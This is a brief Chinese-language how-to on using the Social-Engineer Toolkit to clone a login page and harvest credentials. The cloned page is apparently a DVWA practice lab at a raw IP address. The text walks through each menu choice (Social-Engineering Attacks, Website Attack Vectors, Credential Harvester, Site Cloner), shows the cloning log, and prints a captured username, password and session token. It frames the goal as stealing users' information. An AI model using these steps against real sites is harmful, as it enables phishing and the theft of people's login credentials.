使用setoolkit克隆站点窃取用户信息
1.启动setoolkit工具后选择：1
meng@mengs-MacBook-Air ~ % sudo setoolkit
Select from the menu:
1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit
2.接着选择：2
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) Third Party Modules
99) Return back to the main menu.
3.然后选择：3
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) HTA Attack Method
99) Return to Main Menu
4.最后选择：2
1) Web Templates
2) Site Cloner
3) Custom Import
5.然后粘贴复制要克隆的网站即可完成
Enter the IP address for POST back in Harvester/Tabnabbing:
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone: http://49.232.106.183/dvwa-labs/login.php
Enter your IP address:
[*] Cloning the website: http://49.232.106.183/dvwa-labs/login.php
[*] This could take a little bit...
The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
10.22.15.143 - - [09/Mar/2022 15:58:14] "GET / HTTP/1.1" 200 -
10.22.15.143 - - [09/Mar/2022 15:58:14] "GET /favicon.ico HTTP/1.1" 404 -
6.最后等待用户输入用户名和密码即可窃取到信息
[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: username=admin
POSSIBLE PASSWORD FIELD FOUND: password=password
POSSIBLE USERNAME FIELD FOUND: Login=Login
POSSIBLE USERNAME FIELD FOUND: user_token=dbead6dc251e06b68ddbbc71160bf26b
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
